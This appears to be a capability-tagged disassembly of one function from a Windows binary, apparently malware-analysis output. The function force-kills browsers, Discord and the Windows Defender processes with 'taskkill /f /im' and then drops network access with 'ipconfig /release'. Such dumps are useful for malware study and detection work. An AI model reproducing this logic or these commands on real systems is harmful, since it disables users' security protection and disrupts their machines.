Function at 0x401170
Capabilities:
Capture network configuration via ipconfig
Execute command
Set console window title

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40284d
mov eax, dword fs:[0]
push eax
sub esp, 0xfc
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0x4031cc
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
push str.edge.exe
lea ecx, [ebp - 0x108]
movq qword [ebp - 0x1c], xmm0
call fcn.00401650
push str.firefox.exe
lea ecx, [ebp - 0xf0]
mov dword [ebp - 4], 0
call fcn.00401650
push str.chrome.exe
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 1
call fcn.00401650
push str.discord.exe
lea ecx, [ebp - 0xc0]
mov byte [ebp - 4], 2
call fcn.00401650
push str.SecurityHealthSystray.exe
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 3
call fcn.00401650
push str.MsMpEng.exe
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 4
call fcn.00401650
push str.SecurityHealthService.exe
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 5
call fcn.00401650
lea edi, [ebp - 0x108]
mov dword [ebp - 4], 6
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x1c], 0
sub ecx, edi
mov dword [ebp - 0x18], 0
mov eax, 0x2aaaaaab
mov dword [ebp - 0x14], 0
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x40133a
cmp eax, 0xaaaaaaa
ja 0x401533
lea esi, [eax + eax*2]
shl esi, 3
mov dword [ebp - 0x50], esi
cmp esi, 0x1000
jb 0x4012c8
lea eax, [esi + 0x23]
cmp eax, esi
jbe 0x401538
push eax
call fcn.0040197b
add esp, 4
test eax, eax
je 0x4012c2
lea esi, [eax + 0x23]
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x4012db
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
test esi, esi
je 0x4012d9
push esi
call fcn.0040197b
add esp, 4
mov esi, eax
jmp 0x4012db
xor esi, esi
mov eax, dword [ebp - 0x50]
add eax, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x58], eax
xorps xmm0, xmm0
mov dword [ebp - 0x20], 0
movq qword [ebp - 0x28], xmm0
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x60]
mov byte [ebp - 4], 8
cmp edi, eax
je 0x40132a
push edi
mov ecx, esi
call fcn.00401760
add esi, 0x18
lea eax, [ebp - 0x60]
add edi, 0x18
mov dword [ebp - 0x24], esi
cmp edi, eax
jne 0x401312
push ecx
mov edx, esi
mov ecx, esi
call fcn.00401860
add esp, 4
mov dword [ebp - 0x18], esi
push 0x401600
push 7
push 0x18
lea eax, [ebp - 0x108]
mov byte [ebp - 4], 0xa
push eax
call fcn.004019ab
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x58], ecx
cmp eax, ecx
je 0x4014ff
nop dword [eax]
push eax
lea ecx, [ebp - 0x4c]
call fcn.00401760
mov byte [ebp - 4], 0xb
mov eax, 0x7fffffff
mov ecx, dword [ebp - 0x3c]
sub eax, ecx
cmp eax, 0x10
jb 0x40152e
cmp dword [ebp - 0x38], 0xf
lea edx, [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
lea edi, [ebp - 0x34]
cmova edx, eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], edx
mov esi, 0xf
lea edx, [ecx + 0x10]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
xorps xmm0, xmm0
mov dword [ebp - 0x54], edx
movups xmmword [ebp - 0x34], xmm0
cmp edx, esi
jbe 0x401444
mov esi, edx
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x4013e6
mov ecx, 0x80000000
mov esi, 0x7fffffff
add ecx, 0x23
jmp 0x401406
cmp esi, 0x16
mov eax, 0x16
cmovb esi, eax
lea eax, [esi + 1]
cmp eax, 0x1000
jb 0x401428
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x401538
push ecx
call fcn.0040197b
add esp, 4
test eax, eax
je 0x4012c2
mov ecx, dword [ebp - 0x3c]
lea edi, [eax + 0x23]
mov edx, dword [ebp - 0x54]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x401441
test eax, eax
je 0x40143f
push eax
call fcn.0040197b
mov ecx, dword [ebp - 0x3c]
add esp, 4
mov edx, dword [ebp - 0x54]
mov edi, eax
jmp 0x401441
xor edi, edi
mov dword [ebp - 0x34], edi
movups xmm0, xmmword [str.taskkill__f__im]
push ecx
push dword [ebp - 0x5c]
lea eax, [edi + 0x10]
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], esi
push eax
movups xmmword [edi], xmm0
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x54]
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [edi + eax], 0
lea eax, [ebp - 0x34]
cmp dword [ebp - 0x20], 0xf
cmova eax, dword [ebp - 0x34]
push eax
call esi
mov ecx, dword [ebp - 0x20]
add esp, 0x10
cmp ecx, 0xf
jbe 0x4014b3
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4014a9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4012c2
push ecx
push edx
call fcn.00401ac0
add esp, 8
mov byte [ebp - 4], 0xa
mov eax, dword [ebp - 0x38]
cmp eax, 0xf
jbe 0x4014ed
mov edx, dword [ebp - 0x60]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x4014e3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4012c2
push ecx
push edx
call fcn.00401ac0
add esp, 8
mov eax, dword [ebp - 0x50]
add eax, 0x18
mov dword [ebp - 0x50], eax
cmp eax, dword [ebp - 0x58]
jne 0x401370
push str.ipconfig__release
call esi
add esp, 4
lea ecx, [ebp - 0x1c]
call fcn.00401580
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040196d
mov esp, ebp
pop ebp
ret
call fcn.00401160
call fcn.00401950
call fcn.004010c0
int3